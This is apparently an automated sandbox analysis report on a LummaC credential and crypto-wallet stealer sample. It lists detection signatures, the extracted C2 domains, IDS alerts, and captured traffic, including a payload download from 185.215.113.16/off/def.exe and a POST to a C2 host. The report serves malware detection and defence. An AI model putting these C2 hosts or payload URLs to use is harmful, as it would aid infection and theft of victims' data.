Edit tour

Windows Analysis Report
COBYmpzi7q.exe

Overview

General Information

Sample name:	COBYmpzi7q.exe renamed because original name is a hash value
Original sample name:	1f2ec1de18a228831db842ed61139322.exe
Analysis ID:	1580872
MD5:	1f2ec1de18a228831db842ed61139322
SHA1:	474efac20f3761af148f1db903a9b18d4d45cdb8
SHA256:	7391a3331f21f370cea793122e88ec5f34d4330c4ac1dcf61fdf794391c10126
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

COBYmpzi7q.exe (PID: 6184 cmdline: "C:\Users\user\Desktop\COBYmpzi7q.exe" MD5: 1F2EC1DE18A228831DB842ED61139322)

chrome.exe (PID: 3412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5096 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1920,i,39115509241515820,3086793412648809458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7272 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7448 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1960,i,9595328068211542477,1476688260023625604,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["inherineau.buzz", "mindhandru.buzz", "prisonyfork.buzz", "screwamusresz.buzz", "appliacnesot.buzz", "hummskitnj.buzz", "cashfuzysao.buzz", "scentniej.buzz", "rebuildeso.buzz"], "Build id": "Cyp--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1547972050.000000000107F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1547841537.000000000107F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: COBYmpzi7q.exe PID: 6184	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: COBYmpzi7q.exe PID: 6184	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: COBYmpzi7q.exe PID: 6184	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:41:19.675792+0100	2028371	3	Unknown Traffic	192.168.2.9	49722	104.21.11.101	443	TCP
2024-12-26T12:41:21.631229+0100	2028371	3	Unknown Traffic	192.168.2.9	49728	104.21.11.101	443	TCP
2024-12-26T12:41:24.188647+0100	2028371	3	Unknown Traffic	192.168.2.9	49734	104.21.11.101	443	TCP
2024-12-26T12:41:26.604731+0100	2028371	3	Unknown Traffic	192.168.2.9	49740	104.21.11.101	443	TCP
2024-12-26T12:41:29.174912+0100	2028371	3	Unknown Traffic	192.168.2.9	49746	104.21.11.101	443	TCP
2024-12-26T12:41:32.195987+0100	2028371	3	Unknown Traffic	192.168.2.9	49751	104.21.11.101	443	TCP
2024-12-26T12:41:36.057920+0100	2028371	3	Unknown Traffic	192.168.2.9	49760	104.21.11.101	443	TCP
2024-12-26T12:41:41.569292+0100	2028371	3	Unknown Traffic	192.168.2.9	49774	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:41:20.307812+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49722	104.21.11.101	443	TCP
2024-12-26T12:41:22.416380+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49728	104.21.11.101	443	TCP
2024-12-26T12:41:42.343992+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49774	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:41:20.307812+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49722	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:41:22.416380+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49728	104.21.11.101	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:41:43.891111+0100	2019714	2	Potentially Bad Traffic	192.168.2.9	49780	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T12:41:27.636561+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49740	104.21.11.101	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: COBYmpzi7q.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz:443/api	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api	Avira URL Cloud: Label: malware

Found malware configuration

Source: COBYmpzi7q.exe.6184.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["inherineau.buzz", "mindhandru.buzz", "prisonyfork.buzz", "screwamusresz.buzz", "appliacnesot.buzz", "hummskitnj.buzz", "cashfuzysao.buzz", "scentniej.buzz", "rebuildeso.buzz"], "Build id": "Cyp--"}

Multi AV Scanner detection for submitted file

Source: COBYmpzi7q.exe	Virustotal: Detection: 50%			Perma Link
Source: COBYmpzi7q.exe	ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: COBYmpzi7q.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: COBYmpzi7q.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49843 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49774 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49722 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49722 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49740 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49728 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49728 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49774 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz
Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 26 Dec 2024 11:41:42 GMTContent-Type: application/octet-streamContent-Length: 2801664Last-Modified: Thu, 26 Dec 2024 11:19:36 GMTConnection: keep-aliveETag: "676d3bc8-2ac000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 c5 4d 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 67 74 77 78 76 6c 65 6c 00 40 2a 00 00 a0 00 00 00 32 2a 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6e 6c 62 78 68 75 6e 00 20 00 00 00 e0 2a 00 00 04 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 9e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View

IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49734 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49722 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49751 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49728 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49740 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49760 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.9:49780 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49774 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49746 -> 104.21.11.101:443

Source: unknown

HTTPS traffic detected: 23.206.229.209:443 -> 192.168.2.9:49843 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_128.6.dr, chromecache_106.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: mindhandru.buzz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/B
Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/T
Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010ED000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722844376.000000000106A000.00000004.00000020.00020000.00000000.sdmp, COBYmpzi7q.exe, 00000000.00000003.1722747630.0000000001068000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeerw
Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeq
Source: COBYmpzi7q.exe, 00000000.00000003.1722504510.00000000010D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/y
